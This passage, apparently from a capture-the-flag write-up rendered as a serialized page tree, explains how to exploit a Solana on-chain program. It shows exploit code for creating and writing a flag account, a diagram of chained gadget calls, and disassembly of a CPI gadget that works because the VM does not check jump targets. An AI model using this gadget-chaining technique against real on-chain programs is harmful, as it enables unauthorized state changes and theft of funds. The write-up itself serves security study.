instruction",{"type":23,"tag":504,"props":42348,"children":42349},{"style":598},[42350],{"type":28,"value":648},{"type":23,"tag":504,"props":42352,"children":42353},{"style":1012},[42354],{"type":28,"value":39986},{"type":23,"tag":504,"props":42356,"children":42357},{"style":598},[42358],{"type":28,"value":2457},{"type":23,"tag":504,"props":42360,"children":42361},{"style":517},[42362],{"type":28,"value":42363},"new_with_bincode",{"type":23,"tag":504,"props":42365,"children":42366},{"style":523},[42367],{"type":28,"value":2439},{"type":23,"tag":504,"props":42369,"children":42370},{"class":506,"line":878},[42371,42376,42380],{"type":23,"tag":504,"props":42372,"children":42373},{"style":523},[42374],{"type":28,"value":42375},"        system_program",{"type":23,"tag":504,"props":42377,"children":42378},{"style":598},[42379],{"type":28,"value":2457},{"type":23,"tag":504,"props":42381,"children":42382},{"style":523},[42383],{"type":28,"value":42384},"ID,\n",{"type":23,"tag":504,"props":42386,"children":42387},{"class":506,"line":1221},[42388,42392,42397,42401,42406],{"type":23,"tag":504,"props":42389,"children":42390},{"style":598},[42391],{"type":28,"value":2447},{"type":23,"tag":504,"props":42393,"children":42394},{"style":523},[42395],{"type":28,"value":42396},"SystemInstruction",{"type":23,"tag":504,"props":42398,"children":42399},{"style":598},[42400],{"type":28,"value":2457},{"type":23,"tag":504,"props":42402,"children":42403},{"style":1012},[42404],{"type":28,"value":42405},"CreateAccount",{"type":23,"tag":504,"props":42407,"children":42408},{"style":523},[42409],{"type":28,"value":552},{"type":23,"tag":504,"props":42411,"children":42412},{"class":506,"line":1276},[42413,42418,42422,42427],{"type":23,"tag":504,"props":42414,"children":42415},{"style":529},[42416],{"type":28,"value":42417},"            space",{"type":23,"tag":504,"props":42419,"children":42420},{"style":598},[42421],{"type":28,"value":3472},{"type":23,"tag":504,"props":42423,"children":42424},{"style":1440},[42425],{"type":28,"value":42426}," 0x1337",{"type":23,"tag":504,"props":42428,"children":42429},{"style":523},[42430],{"type":28,"value":2484},{"type":23,"tag":504,"props":42432,"children":42433},{"class":506,"line":1285},[42434,42439,42443,42448,42452,42457,42461,42465,42470,42474,42479],{"type":23,"tag":504,"props":42435,"children":42436},{"style":529},[42437],{"type":28,"value":42438},"            lamports",{"type":23,"tag":504,"props":42440,"children":42441},{"style":598},[42442],{"type":28,"value":3472},{"type":23,"tag":504,"props":42444,"children":42445},{"style":523},[42446],{"type":28,"value":42447}," Rent",{"type":23,"tag":504,"props":42449,"children":42450},{"style":598},[42451],{"type":28,"value":2457},{"type":23,"tag":504,"props":42453,"children":42454},{"style":517},[42455],{"type":28,"value":42456},"default",{"type":23,"tag":504,"props":42458,"children":42459},{"style":523},[42460],{"type":28,"value":12860},{"type":23,"tag":504,"props":42462,"children":42463},{"style":598},[42464],{"type":28,"value":320},{"type":23,"tag":504,"props":42466,"children":42467},{"style":517},[42468],{"type":28,"value":42469},"minimum_balance",{"type":23,"tag":504,"props":42471,"children":42472},{"style":523},[42473],{"type":28,"value":526},{"type":23,"tag":504,"props":42475,"children":42476},{"style":1440},[42477],{"type":28,"value":42478},"0x1337",{"type":23,"tag":504,"props":42480,"children":42481},{"style":523},[42482],{"type":28,"value":5720},{"type":23,"tag":504,"props":42484,"children":42485},{"class":506,"line":1294},[42486,42491,42495,42499,42503],{"type":23,"tag":504,"props":42487,"children":42488},{"style":529},[42489],{"type":28,"value":42490},"            owner",{"type":23,"tag":504,"props":42492,"children":42493},{"style":598},[42494],{"type":28,"value":3472},{"type":23,"tag":504,"props":42496,"children":42497},{"style":523},[42498],{"type":28,"value":41018},{"type":23,"tag":504,"props":42500,"children":42501},{"style":598},[42502],{"type":28,"value":2457},{"type":23,"tag":504,"props":42504,"children":42505},{"style":523},[42506],{"type":28,"value":42507},"ID\n",{"type":23,"tag":504,"props":42509,"children":42510},{"class":506,"line":1302},[42511],{"type":23,"tag":504,"props":42512,"children":42513},{"style":523},[42514],{"type":28,"value":24353},{"type":23,"tag":504,"props":42516,"children":42517},{"class":506,"line":1311},[42518,42523],{"type":23,"tag":504,"props":42519,"children":42520},{"style":517},[42521],{"type":28,"value":42522},"        vec!",{"type":23,"tag":504,"props":42524,"children":42525},{"style":523},[42526],{"type":28,"value":42527},"[\n",{"type":23,"tag":504,"props":42529,"children":42530},{"class":506,"line":1334},[42531,42536,42540,42544,42548,42552,42557,42561,42566,42570],{"type":23,"tag":504,"props":42532,"children":42533},{"style":523},[42534],{"type":28,"value":42535},"            AccountMeta",{"type":23,"tag":504,"props":42537,"children":42538},{"style":598},[42539],{"type":28,"value":2457},{"type":23,"tag":504,"props":42541,"children":42542},{"style":517},[42543],{"type":28,"value":14102},{"type":23,"tag":504,"props":42545,"children":42546},{"style":523},[42547],{"type":28,"value":526},{"type":23,"tag":504,"props":42549,"children":42550},{"style":598},[42551],{"type":28,"value":3552},{"type":23,"tag":504,"props":42553,"children":42554},{"style":529},[42555],{"type":28,"value":42556},"user_ai",{"type":23,"tag":504,"props":42558,"children":42559},{"style":598},[42560],{"type":28,"value":320},{"type":23,"tag":504,"props":42562,"children":42563},{"style":523},[42564],{"type":28,"value":42565},"key, ",{"type":23,"tag":504,"props":42567,"children":42568},{"style":511},[42569],{"type":28,"value":2972},{"type":23,"tag":504,"props":42571,"children":42572},{"style":523},[42573],{"type":28,"value":5720},{"type":23,"tag":504,"props":42575,"children":42576},{"class":506,"line":1370},[42577,42581,42585,42589,42593,42597,42602,42606,42610,42614],{"type":23,"tag":504,"props":42578,"children":42579},{"style":523},[42580],{"type":28,"value":42535},{"type":23,"tag":504,"props":42582,"children":42583},{"style":598},[42584],{"type":28,"value":2457},{"type":23,"tag":504,"props":42586,"children":42587},{"style":517},[42588],{"type":28,"value":14102},{"type":23,"tag":504,"props":42590,"children":42591},{"style":523},[42592],{"type":28,"value":526},{"type":23,"tag":504,"props":42594,"children":42595},{"style":598},[42596],{"type":28,"value":3552},{"type":23,"tag":504,"props":42598,"children":42599},{"style":529},[42600],{"type":28,"value":42601},"flag_pda_ai",{"type":23,"tag":504,"props":42603,"children":42604},{"style":598},[42605],{"type":28,"value":320},{"type":23,"tag":504,"props":42607,"children":42608},{"style":523},[42609],{"type":28,"value":42565},{"type":23,"tag":504,"props":42611,"children":42612},{"style":511},[42613],{"type":28,"value":2972},{"type":23,"tag":504,"props":42615,"children":42616},{"style":523},[42617],{"type":28,"value":5720},{"type":23,"tag":504,"props":42619,"children":42620},{"class":506,"line":1384},[42621],{"type":23,"tag":504,"props":42622,"children":42623},{"style":523},[42624],{"type":28,"value":42625},"        ],\n",{"type":23,"tag":504,"props":42627,"children":42628},{"class":506,"line":1392},[42629],{"type":23,"tag":504,"props":42630,"children":42631},{"style":523},[42632],{"type":28,"value":42633},"    );\n",{"type":23,"tag":504,"props":42635,"children":42636},{"class":506,"line":1400},[42637,42641],{"type":23,"tag":504,"props":42638,"children":42639},{"style":517},[42640],{"type":28,"value":40103},{"type":23,"tag":504,"props":42642,"children":42643},{"style":523},[42644],{"type":28,"value":2439},{"type":23,"tag":504,"props":42646,"children":42647},{"class":506,"line":1422},[42648,42652,42657],{"type":23,"tag":504,"props":42649,"children":42650},{"style":598},[42651],{"type":28,"value":2447},{"type":23,"tag":504,"props":42653,"children":42654},{"style":529},[42655],{"type":28,"value":42656},"instruction",{"type":23,"tag":504,"props":42658,"children":42659},{"style":523},[42660],{"type":28,"value":2484},{"type":23,"tag":504,"props":42662,"children":42663},{"class":506,"line":1450},[42664,42668],{"type":23,"tag":504,"props":42665,"children":42666},{"style":598},[42667],{"type":28,"value":2447},{"type":23,"tag":504,"props":42669,"children":42670},{"style":523},[42671],{"type":28,"value":42527},{"type":23,"tag":504,"props":42673,"children":42674},{"class":506,"line":1463},[42675,42680,42684,42688],{"type":23,"tag":504,"props":42676,"children":42677},{"style":529},[42678],{"type":28,"value":42679},"            user_ai",{"type":23,"tag":504,"props":42681,"children":42682},{"style":598},[42683],{"type":28,"value":320},{"type":23,"tag":504,"props":42685,"children":42686},{"style":517},[42687],{"type":28,"value":14400},{"type":23,"tag":504,"props":42689,"children":42690},{"style":523},[42691],{"type":28,"value":2467},{"type":23,"tag":504,"props":42693,"children":42694},{"class":506,"line":1485},[42695,42700,42704,42708],{"type":23,"tag":504,"props":42696,"children":42697},{"style":529},[42698],{"type":28,"value":42699},"            flag_pda_ai",{"type":23,"tag":504,"props":42701,"children":42702},{"style":598},[42703],{"type":28,"value":320},{"type":23,"tag":504,"props":42705,"children":42706},{"style":517},[42707],{"type":28,"value":14400},{"type":23,"tag":504,"props":42709,"children":42710},{"style":523},[42711],{"type":28,"value":2467},{"type":23,"tag":504,"props":42713,"children":42714},{"class":506,"line":1503},[42715],{"type":23,"tag":504,"props":42716,"children":42717},{"style":523},[42718],{"type":28,"value":42625},{"type":23,"tag":504,"props":42720,"children":42721},{"class":506,"line":1516},[42722,42726,42730,42734,42738,42742,42746,42750],{"type":23,"tag":504,"props":42723,"children":42724},{"style":598},[42725],{"type":28,"value":2447},{"type":23,"tag":504,"props":42727,"children":42728},{"style":523},[42729],{"type":28,"value":2711},{"type":23,"tag":504,"props":42731,"children":42732},{"style":598},[42733],{"type":28,"value":2086},{"type":23,"tag":504,"props":42735,"children":42736},{"style":523},[42737],{"type":28,"value":2711},{"type":23,"tag":504,"props":42739,"children":42740},{"style":622},[42741],{"type":28,"value":41598},{"type":23,"tag":504,"props":42743,"children":42744},{"style":598},[42745],{"type":28,"value":320},{"type":23,"tag":504,"props":42747,"children":42748},{"style":517},[42749],{"type":28,"value":41607},{"type":23,"tag":504,"props":42751,"children":42752},{"style":523},[42753],{"type":28,"value":42754},"()]],\n",{"type":23,"tag":504,"props":42756,"children":42757},{"class":506,"line":1543},[42758,42762,42766],{"type":23,"tag":504,"props":42759,"children":42760},{"style":523},[42761],{"type":28,"value":2633},{"type":23,"tag":504,"props":42763,"children":42764},{"style":598},[42765],{"type":28,"value":2133},{"type":23,"tag":504,"props":42767,"children":42768},{"style":523},[42769],{"type":28,"value":866},{"type":23,"tag":504,"props":42771,"children":42772},{"class":506,"line":1583},[42773],{"type":23,"tag":504,"props":42774,"children":42775},{"emptyLinePlaceholder":16},[42776],{"type":28,"value":1038},{"type":23,"tag":504,"props":42778,"children":42779},{"class":506,"line":1605},[42780],{"type":23,"tag":504,"props":42781,"children":42782},{"style":1106},[42783],{"type":28,"value":42784},"    // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":23,"tag":504,"props":42786,"children":42787},{"class":506,"line":1614},[42788,42793,42797,42801,42805,42809,42813,42817,42821,42825,42829,42834,42838,42842,42847,42851,42855,42860],{"type":23,"tag":504,"props":42789,"children":42790},{"style":529},[42791],{"type":28,"value":42792},"    flag_pda_ai",{"type":23,"tag":504,"props":42794,"children":42795},{"style":598},[42796],{"type":28,"value":320},{"type":23,"tag":504,"props":42798,"children":42799},{"style":517},[42800],{"type":28,"value":12855},{"type":23,"tag":504,"props":42802,"children":42803},{"style":523},[42804],{"type":28,"value":12860},{"type":23,"tag":504,"props":42806,"children":42807},{"style":598},[42808],{"type":28,"value":2133},{"type":23,"tag":504,"props":42810,"children":42811},{"style":523},[42812],{"type":28,"value":2711},{"type":23,"tag":504,"props":42814,"children":42815},{"style":598},[42816],{"type":28,"value":2028},{"type":23,"tag":504,"props":42818,"children":42819},{"style":1440},[42820],{"type":28,"value":3055},{"type":23,"tag":504,"props":42822,"children":42823},{"style":523},[42824],{"type":28,"value":14391},{"type":23,"tag":504,"props":42826,"children":42827},{"style":598},[42828],{"type":28,"value":320},{"type":23,"tag":504,"props":42830,"children":42831},{"style":517},[42832],{"type":28,"value":42833},"copy_from_slice",{"type":23,"tag":504,"props":42835,"children":42836},{"style":523},[42837],{"type":28,"value":526},{"type":23,"tag":504,"props":42839,"children":42840},{"style":598},[42841],{"type":28,"value":2086},{"type":23,"tag":504,"props":42843,"children":42844},{"style":1440},[42845],{"type":28,"value":42846},"0x4337",{"type":23,"tag":504,"props":42848,"children":42849},{"style":1012},[42850],{"type":28,"value":7025},{"type":23,"tag":504,"props":42852,"children":42853},{"style":598},[42854],{"type":28,"value":320},{"type":23,"tag":504,"props":42856,"children":42857},{"style":517},[42858],{"type":28,"value":42859},"to_le_bytes",{"type":23,"tag":504,"props":42861,"children":42862},{"style":523},[42863],{"type":28,"value":14405},{"type":23,"tag":504,"props":42865,"children":42866},{"class":506,"line":1627},[42867],{"type":23,"tag":504,"props":42868,"children":42869},{"emptyLinePlaceholder":16},[42870],{"type":28,"value":1038},{"type":23,"tag":504,"props":42872,"children":42873},{"class":506,"line":1655},[42874,42878],{"type":23,"tag":504,"props":42875,"children":42876},{"style":1012},[42877],{"type":28,"value":13314},{"type":23,"tag":504,"props":42879,"children":42880},{"style":523},[42881],{"type":28,"value":13319},{"type":23,"tag":504,"props":42883,"children":42884},{"class":506,"line":1668},[42885],{"type":23,"tag":504,"props":42886,"children":42887},{"style":523},[42888],{"type":28,"value":884},{"type":23,"tag":24,"props":42890,"children":42891},{},[42892],{"type":28,"value":42893},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":23,"tag":24,"props":42895,"children":42896},{},[42897],{"type":23,"tag":126,"props":42898,"children":42901},{"alt":42899,"src":42900},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":23,"tag":24,"props":42903,"children":42904},{},[42905],{"type":28,"value":42906},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":23,"tag":70,"props":42908,"children":42910},{"id":42909},"solution-implementation",[42911],{"type":28,"value":42912},"Solution Implementation",{"type":23,"tag":24,"props":42914,"children":42915},{},[42916,42918,42923],{"type":28,"value":42917},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":23,"tag":56,"props":42919,"children":42921},{"className":42920},[],[42922],{"type":28,"value":34658},{"type":28,"value":42924}," invocations:",{"type":23,"tag":494,"props":42926,"children":42930},{"className":42927,"code":42928,"language":42929,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: gadget1]\n    C --> E[3: process]\n    E --> F[4: gadget2]\n    E --> G[...]\n","mermaid",[42931],{"type":23,"tag":56,"props":42932,"children":42933},{"__ignoreMap":7},[42934,42942,42950,42958,42966,42974,42982],{"type":23,"tag":504,"props":42935,"children":42936},{"class":506,"line":507},[42937],{"type":23,"tag":504,"props":42938,"children":42939},{},[42940],{"type":28,"value":42941},"graph LR\n",{"type":23,"tag":504,"props":42943,"children":42944},{"class":506,"line":540},[42945],{"type":23,"tag":504,"props":42946,"children":42947},{},[42948],{"type":28,"value":42949},"    A[0: entrypoint] --> B[1: process_instruction]\n",{"type":23,"tag":504,"props":42951,"children":42952},{"class":506,"line":555},[42953],{"type":23,"tag":504,"props":42954,"children":42955},{},[42956],{"type":28,"value":42957},"    B --> C[2: process]\n",{"type":23,"tag":504,"props":42959,"children":42960},{"class":506,"line":633},[42961],{"type":23,"tag":504,"props":42962,"children":42963},{},[42964],{"type":28,"value":42965},"    C --> D[3: gadget1]\n",{"type":23,"tag":504,"props":42967,"children":42968},{"class":506,"line":687},[42969],{"type":23,"tag":504,"props":42970,"children":42971},{},[42972],{"type":28,"value":42973},"    C --> E[3: process]\n",{"type":23,"tag":504,"props":42975,"children":42976},{"class":506,"line":736},[42977],{"type":23,"tag":504,"props":42978,"children":42979},{},[42980],{"type":28,"value":42981},"    E --> F[4: gadget2]\n",{"type":23,"tag":504,"props":42983,"children":42984},{"class":506,"line":785},[42985],{"type":23,"tag":504,"props":42986,"children":42987},{},[42988],{"type":28,"value":42989},"    E --> G[...]\n",{"type":23,"tag":24,"props":42991,"children":42992},{},[42993],{"type":28,"value":42994},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":23,"tag":24,"props":42996,"children":42997},{},[42998,43000,43006],{"type":28,"value":42999},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":23,"tag":92,"props":43001,"children":43003},{"href":39461,"rel":43002},[96],[43004],{"type":28,"value":43005},"Binary Ninja",{"type":28,"value":43007}," to find a suitable gadget for this.",{"type":23,"tag":24,"props":43009,"children":43010},{},[43011,43013,43020],{"type":28,"value":43012},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":23,"tag":92,"props":43014,"children":43017},{"href":43015,"rel":43016},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[96],[43018],{"type":28,"value":43019},"skip the strip pass",{"type":28,"value":320},{"type":23,"tag":82,"props":43022,"children":43024},{"id":43023},"cpi-gadget",[43025],{"type":28,"value":43026},"CPI Gadget",{"type":23,"tag":24,"props":43028,"children":43029},{},[43030,43032,43037,43039,43046,43048,43054],{"type":28,"value":43031},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":23,"tag":56,"props":43033,"children":43035},{"className":43034},[],[43036],{"type":28,"value":37272},{"type":28,"value":43038}," function. This function calls into the solana sdk's function ",{"type":23,"tag":92,"props":43040,"children":43043},{"href":43041,"rel":43042},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[96],[43044],{"type":28,"value":43045},"invoke_signed_unchecked",{"type":28,"value":43047},", yielding a powerful gadget at the address ",{"type":23,"tag":56,"props":43049,"children":43051},{"className":43050},[],[43052],{"type":28,"value":43053},"0x100001ba8",{"type":28,"value":320},{"type":23,"tag":494,"props":43056,"children":43058},{"className":1957,"code":43057,"language":1956,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8  79a278ff00000000   ldxdw r2, [r10-136] {var_88}\n100001bb0  79a380ff00000000   ldxdw r3, [r10-128] {var_80}\n100001bb8  79a468ff00000000   ldxdw r4, [r10-152] {var_98}\n100001bc0  79a570ff00000000   ldxdw r5, [r10-144] {var_90}\n100001bc8  8520000020100000   call sol_invoke_signed_rust\n100001bd0  5500040000000000   jne \u003C+4> r0, 0x0\n\n100001bd8  b701000018000000   mov r1, 0x18\n100001be0  79a288ff00000000   ldxdw r2, [r10-120] {var_78}\n100001be8  6312000000000000   stxw [r2-0], r1  {0x18}\n100001bf0  0500030000000000   ja \u003C+3>\n\n100001bf8  79a188ff00000000   ldxdw r1, [r10-120] {var_78}\n100001c00  bf02000000000000   mov r2, r0\n100001c08  8510000075000000   call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10  79a2b8ff00000000   ldxdw r2, [r10-72] {var_48}\n100001c18  1502040000000000   jeq \u003C+4> r2, 0x0\n\n100001c20  2702000022000000   mul r2, 0x22\n100001c28  79a1b0ff00000000   ldxdw r1, [r10-80] {var_50}\n100001c30  b703000001000000   mov r3, 0x1\n100001c38  8510000003feffff   call __rust_dealloc\n\n100001c40  79a2d0ff00000000   ldxdw r2, [r10-48] {var_30}\n100001c48  1502030000000000   jeq \u003C+3> r2, 0x0\n\n100001c50  79a1c8ff00000000   ldxdw r1, [r10-56] {var_38}\n100001c58  b703000001000000   mov r3, 0x1\n100001c60  85100000fefdffff   call __rust_dealloc\n\n100001c68  9500000000000000   exit {__return_addr}\n",[43059],{"type":23,"tag":56,"props":43060,"children":43061},{"__ignoreMap":7},[43062,43087,43143,43194,43246,43298,43321,43369,43376,43408,43459,43517,43551,43558,43607,43637,43712,43719,43770,43816,43823,43854,43905,43935,43957,43964,44015,44060,44067,44118,44146,44167,44174],{"type":23,"tag":504,"props":43063,"children":43064},{"class":506,"line":507},[43065,43069,43073,43078,43082],{"type":23,"tag":504,"props":43066,"children":43067},{"style":523},[43068],{"type":28,"value":12634},{"type":23,"tag":504,"props":43070,"children":43071},{"style":598},[43072],{"type":28,"value":2457},{"type":23,"tag":504,"props":43074,"children":43075},{"style":523},[43076],{"type":28,"value":43077},"program",{"type":23,"tag":504,"props":43079,"children":43080},{"style":598},[43081],{"type":28,"value":2457},{"type":23,"tag":504,"props":43083,"children":43084},{"style":529},[43085],{"type":28,"value":43086},"invoke_signed_unchecked\n",{"type":23,"tag":504,"props":43088,"children":43089},{"class":506,"line":540},[43090,43095,43100,43105,43110,43115,43120,43124,43129,43134,43139],{"type":23,"tag":504,"props":43091,"children":43092},{"style":529},[43093],{"type":28,"value":43094},"100001ba8",{"type":23,"tag":504,"props":43096,"children":43097},{"style":529},[43098],{"type":28,"value":43099},"  79a278ff00000000",{"type":23,"tag":504,"props":43101,"children":43102},{"style":529},[43103],{"type":28,"value":43104},"   ldxdw",{"type":23,"tag":504,"props":43106,"children":43107},{"style":529},[43108],{"type":28,"value":43109}," r2",{"type":23,"tag":504,"props":43111,"children":43112},{"style":523},[43113],{"type":28,"value":43114},", [",{"type":23,"tag":504,"props":43116,"children":43117},{"style":529},[43118],{"type":28,"value":43119},"r10",{"type":23,"tag":504,"props":43121,"children":43122},{"style":598},[43123],{"type":28,"value":3308},{"type":23,"tag":504,"props":43125,"children":43126},{"style":1440},[43127],{"type":28,"value":43128},"136",{"type":23,"tag":504,"props":43130,"children":43131},{"style":523},[43132],{"type":28,"value":43133},"] {",{"type":23,"tag":504,"props":43135,"children":43136},{"style":529},[43137],{"type":28,"value":43138},"var_88",{"type":23,"tag":504,"props":43140,"children":43141},{"style":523},[43142],{"type":28,"value":884},{"type":23,"tag":504,"props":43144,"children":43145},{"class":506,"line":555},[43146,43151,43156,43160,43165,43169,43173,43177,43181,43185,43190],{"type":23,"tag":504,"props":43147,"children":43148},{"style":529},[43149],{"type":28,"value":43150},"100001bb0",{"type":23,"tag":504,"props":43152,"children":43153},{"style":529},[43154],{"type":28,"value":43155},"  79a380ff00000000",{"type":23,"tag":504,"props":43157,"children":43158},{"style":529},[43159],{"type":28,"value":43104},{"type":23,"tag":504,"props":43161,"children":43162},{"style":529},[43163],{"type":28,"value":43164}," r3",{"type":23,"tag":504,"props":43166,"children":43167},{"style":523},[43168],{"type":28,"value":43114},{"type":23,"tag":504,"props":43170,"children":43171},{"style":529},[43172],{"type":28,"value":43119},{"type":23,"tag":504,"props":43174,"children":43175},{"style":598},[43176],{"type":28,"value":3308},{"type":23,"tag":504,"props":43178,"children":43179},{"style":1440},[43180],{"type":28,"value":28829},{"type":23,"tag":504,"props":43182,"children":43183},{"style":523},[43184],{"type":28,"value":43133},{"type":23,"tag":504,"props":43186,"children":43187},{"style":529},[43188],{"type":28,"value":43189},"var_80",{"type":23,"tag":504,"props":43191,"children":43192},{"style":523},[43193],{"type":28,"value":884},{"type":23,"tag":504,"props":43195,"children":43196},{"class":506,"line":633},[43197,43202,43207,43211,43216,43220,43224,43228,43233,43237,43242],{"type":23,"tag":504,"props":43198,"children":43199},{"style":529},[43200],{"type":28,"value":43201},"100001bb8",{"type":23,"tag":504,"props":43203,"children":43204},{"style":529},[43205],{"type":28,"value":43206},"  79a468ff00000000",{"type":23,"tag":504,"props":43208,"children":43209},{"style":529},[43210],{"type":28,"value":43104},{"type":23,"tag":504,"props":43212,"children":43213},{"style":529},[43214],{"type":28,"value":43215}," r4",{"type":23,"tag":504,"props":43217,"children":43218},{"style":523},[43219],{"type":28,"value":43114},{"type":23,"tag":504,"props":43221,"children":43222},{"style":529},[43223],{"type":28,"value":43119},{"type":23,"tag":504,"props":43225,"children":43226},{"style":598},[43227],{"type":28,"value":3308},{"type":23,"tag":504,"props":43229,"children":43230},{"style":1440},[43231],{"type":28,"value":43232},"152",{"type":23,"tag":504,"props":43234,"children":43235},{"style":523},[43236],{"type":28,"value":43133},{"type":23,"tag":504,"props":43238,"children":43239},{"style":529},[43240],{"type":28,"value":43241},"var_98",{"type":23,"tag":504,"props":43243,"children":43244},{"style":523},[43245],{"type":28,"value":884},{"type":23,"tag":504,"props":43247,"children":43248},{"class":506,"line":687},[43249,43254,43259,43263,43268,43272,43276,43280,43285,43289,43294],{"type":23,"tag":504,"props":43250,"children":43251},{"style":529},[43252],{"type":28,"value":43253},"100001bc0",{"type":23,"tag":504,"props":43255,"children":43256},{"style":529},[43257],{"type":28,"value":43258},"  79a570ff00000000",{"type":23,"tag":504,"props":43260,"children":43261},{"style":529},[43262],{"type":28,"value":43104},{"type":23,"tag":504,"props":43264,"children":43265},{"style":529},[43266],{"type":28,"value":43267}," r5",{"type":23,"tag":504,"props":43269,"children":43270},{"style":523},[43271],{"type":28,"value":43114},{"type":23,"tag":504,"props":43273,"children":43274},{"style":529},[43275],{"type":28,"value":43119},{"type":23,"tag":504,"props":43277,"children":43278},{"style":598},[43279],{"type":28,"value":3308},{"type":23,"tag":504,"props":43281,"children":43282},{"style":1440},[43283],{"type":28,"value":43284},"144",{"type":23,"tag":504,"props":43286,"children":43287},{"style":523},[43288],{"type":28,"value":43133},{"type":23,"tag":504,"props":43290,"children":43291},{"style":529},[43292],{"type":28,"value":43293},"var_90",{"type":23,"tag":504,"props":43295,"children":43296},{"style":523},[43297],{"type":28,"value":884},{"type":23,"tag":504,"props":43299,"children":43300},{"class":506,"line":736},[43301,43306,43311,43316],{"type":23,"tag":504,"props":43302,"children":43303},{"style":529},[43304],{"type":28,"value":43305},"100001bc8",{"type":23,"tag":504,"props":43307,"children":43308},{"style":1440},[43309],{"type":28,"value":43310},"  8520000020100000",{"type":23,"tag":504,"props":43312,"children":43313},{"style":529},[43314],{"type":28,"value":43315},"   call",{"type":23,"tag":504,"props":43317,"children":43318},{"style":529},[43319],{"type":28,"value":43320}," sol_invoke_signed_rust\n",{"type":23,"tag":504,"props":43322,"children":43323},{"class":506,"line":785},[43324,43329,43334,43339,43343,43347,43351,43355,43360,43364],{"type":23,"tag":504,"props":43325,"children":43326},{"style":529},[43327],{"type":28,"value":43328},"100001bd0",{"type":23,"tag":504,"props":43330,"children":43331},{"style":1440},[43332],{"type":28,"value":43333},"  5500040000000000",{"type":23,"tag":504,"props":43335,"children":43336},{"style":529},[43337],{"type":28,"value":43338},"   jne",{"type":23,"tag":504,"props":43340,"children":43341},{"style":523},[43342],{"type":28,"value":7702},{"type":23,"tag":504,"props":43344,"children":43345},{"style":598},[43346],{"type":28,"value":1642},{"type":23,"tag":504,"props":43348,"children":43349},{"style":1440},[43350],{"type":28,"value":16508},{"type":23,"tag":504,"props":43352,"children":43353},{"style":523},[43354],{"type":28,"value":4804},{"type":23,"tag":504,"props":43356,"children":43357},{"style":529},[43358],{"type":28,"value":43359},"r0",{"type":23,"tag":504,"props":43361,"children":43362},{"style":523},[43363],{"type":28,"value":576},{"type":23,"tag":504,"props":43365,"children":43366},{"style":1440},[43367],{"type":28,"value":43368},"0x0\n",{"type":23,"tag":504,"props":43370,"children":43371},{"class":506,"line":813},[43372],{"type":23,"tag":504,"props":43373,"children":43374},{"emptyLinePlaceholder":16},[43375],{"type":28,"value":1038},{"type":23,"tag":504,"props":43377,"children":43378},{"class":506,"line":851},[43379,43384,43389,43394,43399,43403],{"type":23,"tag":504,"props":43380,"children":43381},{"style":529},[43382],{"type":28,"value":43383},"100001bd8",{"type":23,"tag":504,"props":43385,"children":43386},{"style":529},[43387],{"type":28,"value":43388},"  b701000018000000",{"type":23,"tag":504,"props":43390,"children":43391},{"style":529},[43392],{"type":28,"value":43393},"   mov",{"type":23,"tag":504,"props":43395,"children":43396},{"style":529},[43397],{"type":28,"value":43398}," r1",{"type":23,"tag":504,"props":43400,"children":43401},{"style":523},[43402],{"type":28,"value":576},{"type":23,"tag":504,"props":43404,"children":43405},{"style":1440},[43406],{"type":28,"value":43407},"0x18\n",{"type":23,"tag":504,"props":43409,"children":43410},{"class":506,"line":869},[43411,43416,43421,43425,43429,43433,43437,43441,43446,43450,43455],{"type":23,"tag":504,"props":43412,"children":43413},{"style":529},[43414],{"type":28,"value":43415},"100001be0",{"type":23,"tag":504,"props":43417,"children":43418},{"style":529},[43419],{"type":28,"value":43420},"  79a288ff00000000",{"type":23,"tag":504,"props":43422,"children":43423},{"style":529},[43424],{"type":28,"value":43104},{"type":23,"tag":504,"props":43426,"children":43427},{"style":529},[43428],{"type":28,"value":43109},{"type":23,"tag":504,"props":43430,"children":43431},{"style":523},[43432],{"type":28,"value":43114},{"type":23,"tag":504,"props":43434,"children":43435},{"style":529},[43436],{"type":28,"value":43119},{"type":23,"tag":504,"props":43438,"children":43439},{"style":598},[43440],{"type":28,"value":3308},{"type":23,"tag":504,"props":43442,"children":43443},{"style":1440},[43444],{"type":28,"value":43445},"120",{"type":23,"tag":504,"props":43447,"children":43448},{"style":523},[43449],{"type":28,"value":43133},{"type":23,"tag":504,"props":43451,"children":43452},{"style":529},[43453],{"type":28,"value":43454},"var_78",{"type":23,"tag":504,"props":43456,"children":43457},{"style":523},[43458],{"type":28,"value":884},{"type":23,"tag":504,"props":43460,"children":43461},{"class":506,"line":878},[43462,43467,43472,43477,43481,43486,43490,43494,43498,43503,43508,43513],{"type":23,"tag":504,"props":43463,"children":43464},{"style":529},[43465],{"type":28,"value":43466},"100001be8",{"type":23,"tag":504,"props":43468,"children":43469},{"style":1440},[43470],{"type":28,"value":43471},"  6312000000000000",{"type":23,"tag":504,"props":43473,"children":43474},{"style":529},[43475],{"type":28,"value":43476},"   